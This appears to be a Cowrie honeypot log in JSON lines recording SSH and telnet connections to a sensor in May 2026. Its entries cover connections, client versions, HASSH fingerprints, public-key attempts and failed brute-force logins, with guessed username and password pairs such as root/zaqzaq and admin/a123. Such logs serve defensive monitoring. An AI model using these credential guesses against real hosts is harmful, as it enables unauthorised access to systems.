{"eventid":"cowrie.session.closed","duration":48.23714566230774,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:17.718810Z","src_ip":"152.42.224.71","session":"ad85afdcebbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.68088340759277,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:21.849957Z","src_ip":"152.42.224.71","session":"7dbf195ebbac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.572927713394165,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:22.934412Z","src_ip":"152.42.224.71","session":"0eb4c6c4af47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10079383850098,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:25.103068Z","src_ip":"152.42.224.71","session":"15ee60135626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18366575241089,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:27.879602Z","src_ip":"152.42.224.71","session":"97c5b4f51f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34406,"dst_ip":"10.17.0.5","dst_port":23,"session":"1412fad448fb","protocol":"telnet","message":"New connection: 152.42.224.71:34406 (10.17.0.5:23) [session: 1412fad448fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:34.865315Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":47916,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e855c70572c","protocol":"ssh","message":"New connection: 139.19.117.129:47916 (159.203.135.109:22) [session: 3e855c70572c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:36.178390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:36.182647Z","src_ip":"139.19.117.129","session":"3e855c70572c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:36.274710Z","src_ip":"139.19.117.129","session":"3e855c70572c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:08:9a:e6:5b:22:04:f9:d7:0a:ae:f2:3e:61:ea:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW7bXyg1qQpzOijaWpT4imh4D+QDKShGZC9kfFky7MUxoTbyVFCSQ/+GMCCTYUCrLMG0852BT7EloDtDArsS5ZlLB2Q7d0W7gIlruI8DcC16mjo3+fHlydYrPuf/0abkps3R2moIbCtK7iwESSida4WZ6ceEri+4av1fyovfJsCvqzFZtvmNYmoggOViSmcId2F5sq9yZkcqkVt0tIE6KMvlFev8Cy2/JBLhy9brR0OygiNZgo/CovwsV949zXkJlV3cUqIjnBn+IS2bLKe9ncOsSP85cY+adaSchhb66Lej+sfNTIJQOo1nyXyvWSmGne4vnVeKQDewA6T3LjaRMRu5ZAaZaajawcPoyhJT1B8BIzC/+kwgPd2Mnl7Ppx5vBaCpBCMCEjo+eOXfkI8YdIZG67T4aD0bKOumGsYtDi4gRrKL2H8UV47A+adK7pjvxh9IvpXIq3Fo+SPaFDY3NugaGAQQXsSjWb0H5MLKS4x0C1vEnvaQ42tQ503pbi3RM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:08:9a:e6:5b:22:04:f9:d7:0a:ae:f2:3e:61:ea:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:36.460773Z","src_ip":"139.19.117.129","session":"3e855c70572c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:08:9a:e6:5b:22:04:f9:d7:0a:ae:f2:3e:61:ea:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW7bXyg1qQpzOijaWpT4imh4D+QDKShGZC9kfFky7MUxoTbyVFCSQ/+GMCCTYUCrLMG0852BT7EloDtDArsS5ZlLB2Q7d0W7gIlruI8DcC16mjo3+fHlydYrPuf/0abkps3R2moIbCtK7iwESSida4WZ6ceEri+4av1fyovfJsCvqzFZtvmNYmoggOViSmcId2F5sq9yZkcqkVt0tIE6KMvlFev8Cy2/JBLhy9brR0OygiNZgo/CovwsV949zXkJlV3cUqIjnBn+IS2bLKe9ncOsSP85cY+adaSchhb66Lej+sfNTIJQOo1nyXyvWSmGne4vnVeKQDewA6T3LjaRMRu5ZAaZaajawcPoyhJT1B8BIzC/+kwgPd2Mnl7Ppx5vBaCpBCMCEjo+eOXfkI8YdIZG67T4aD0bKOumGsYtDi4gRrKL2H8UV47A+adK7pjvxh9IvpXIq3Fo+SPaFDY3NugaGAQQXsSjWb0H5MLKS4x0C1vEnvaQ42tQ503pbi3RM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:36.464854Z","src_ip":"139.19.117.129","session":"3e855c70572c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:08:9a:e6:5b:22:04:f9:d7:0a:ae:f2:3e:61:ea:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW7bXyg1qQpzOijaWpT4imh4D+QDKShGZC9kfFky7MUxoTbyVFCSQ/+GMCCTYUCrLMG0852BT7EloDtDArsS5ZlLB2Q7d0W7gIlruI8DcC16mjo3+fHlydYrPuf/0abkps3R2moIbCtK7iwESSida4WZ6ceEri+4av1fyovfJsCvqzFZtvmNYmoggOViSmcId2F5sq9yZkcqkVt0tIE6KMvlFev8Cy2/JBLhy9brR0OygiNZgo/CovwsV949zXkJlV3cUqIjnBn+IS2bLKe9ncOsSP85cY+adaSchhb66Lej+sfNTIJQOo1nyXyvWSmGne4vnVeKQDewA6T3LjaRMRu5ZAaZaajawcPoyhJT1B8BIzC/+kwgPd2Mnl7Ppx5vBaCpBCMCEjo+eOXfkI8YdIZG67T4aD0bKOumGsYtDi4gRrKL2H8UV47A+adK7pjvxh9IvpXIq3Fo+SPaFDY3NugaGAQQXsSjWb0H5MLKS4x0C1vEnvaQ42tQ503pbi3RM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:08:9a:e6:5b:22:04:f9:d7:0a:ae:f2:3e:61:ea:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:36.562276Z","src_ip":"139.19.117.129","session":"3e855c70572c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:08:9a:e6:5b:22:04:f9:d7:0a:ae:f2:3e:61:ea:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDW7bXyg1qQpzOijaWpT4imh4D+QDKShGZC9kfFky7MUxoTbyVFCSQ/+GMCCTYUCrLMG0852BT7EloDtDArsS5ZlLB2Q7d0W7gIlruI8DcC16mjo3+fHlydYrPuf/0abkps3R2moIbCtK7iwESSida4WZ6ceEri+4av1fyovfJsCvqzFZtvmNYmoggOViSmcId2F5sq9yZkcqkVt0tIE6KMvlFev8Cy2/JBLhy9brR0OygiNZgo/CovwsV949zXkJlV3cUqIjnBn+IS2bLKe9ncOsSP85cY+adaSchhb66Lej+sfNTIJQOo1nyXyvWSmGne4vnVeKQDewA6T3LjaRMRu5ZAaZaajawcPoyhJT1B8BIzC/+kwgPd2Mnl7Ppx5vBaCpBCMCEjo+eOXfkI8YdIZG67T4aD0bKOumGsYtDi4gRrKL2H8UV47A+adK7pjvxh9IvpXIq3Fo+SPaFDY3NugaGAQQXsSjWb0H5MLKS4x0C1vEnvaQ42tQ503pbi3RM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:36.565810Z","src_ip":"139.19.117.129","session":"3e855c70572c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":54886,"dst_ip":"10.17.0.5","dst_port":22,"session":"d248971d9b4d","protocol":"ssh","message":"New connection: 94.159.98.239:54886 (10.17.0.5:22) [session: d248971d9b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:43.787259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:43.793131Z","src_ip":"94.159.98.239","session":"d248971d9b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:43.908799Z","src_ip":"94.159.98.239","session":"d248971d9b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqzaq","message":"login attempt [root/zaqzaq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:44.374202Z","src_ip":"94.159.98.239","session":"d248971d9b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:45.499281Z","src_ip":"94.159.98.239","session":"d248971d9b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:46.178744Z","src_ip":"139.19.117.129","session":"3e855c70572c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":52376,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e30cc4b060","protocol":"ssh","message":"New connection: 103.149.170.125:52376 (159.203.135.109:22) [session: e9e30cc4b060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:59.220679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:59.228699Z","src_ip":"103.149.170.125","session":"e9e30cc4b060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:01:59.489022Z","src_ip":"103.149.170.125","session":"e9e30cc4b060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890z","message":"login attempt [root/1234567890z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:00.273153Z","src_ip":"103.149.170.125","session":"e9e30cc4b060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:01.536136Z","src_ip":"103.149.170.125","session":"e9e30cc4b060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.390324115753174,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:02.405324Z","src_ip":"152.42.224.71","session":"0cde1cd4a140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56386,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a2a7ad6254","protocol":"ssh","message":"New connection: 103.77.175.15:56386 (10.17.0.5:22) [session: 92a2a7ad6254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:04.829138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:04.835821Z","src_ip":"103.77.175.15","session":"92a2a7ad6254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:05.092315Z","src_ip":"103.77.175.15","session":"92a2a7ad6254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"e123456","message":"login attempt [root/e123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:05.871279Z","src_ip":"103.77.175.15","session":"92a2a7ad6254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:07.131682Z","src_ip":"103.77.175.15","session":"92a2a7ad6254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.02387762069702,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:22.889037Z","src_ip":"152.42.224.71","session":"1412fad448fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48750,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae65c35baea","protocol":"telnet","message":"New connection: 152.42.224.71:48750 (10.17.0.5:23) [session: 4ae65c35baea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:29.180543Z"}
{"eventid":"cowrie.session.closed","duration":120.00465154647827,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:32.544644Z","src_ip":"152.42.224.71","session":"224164c1f98d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":43050,"dst_ip":"10.17.0.5","dst_port":22,"session":"5935e9ffc035","protocol":"ssh","message":"New connection: 2.57.121.112:43050 (10.17.0.5:22) [session: 5935e9ffc035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:35.023570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:35.028832Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:35.133823Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a123","message":"login attempt [admin/a123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:35.623676Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"99941","message":"login attempt [admin/99941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:36.731574Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"998899","message":"login attempt [admin/998899] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:37.839734Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"975310","message":"login attempt [admin/975310] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:38.947113Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"97531","message":"login attempt [admin/97531] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:40.055231Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:41.169361Z","src_ip":"2.57.121.112","session":"5935e9ffc035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":43655,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e9eb20ad40d","protocol":"ssh","message":"New connection: 2.57.121.25:43655 (10.17.0.5:22) [session: 7e9eb20ad40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:48.015050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:02:48.020024Z","src_ip":"2.57.121.25","session":"7e9eb20ad40d","protocol":"ssh"}
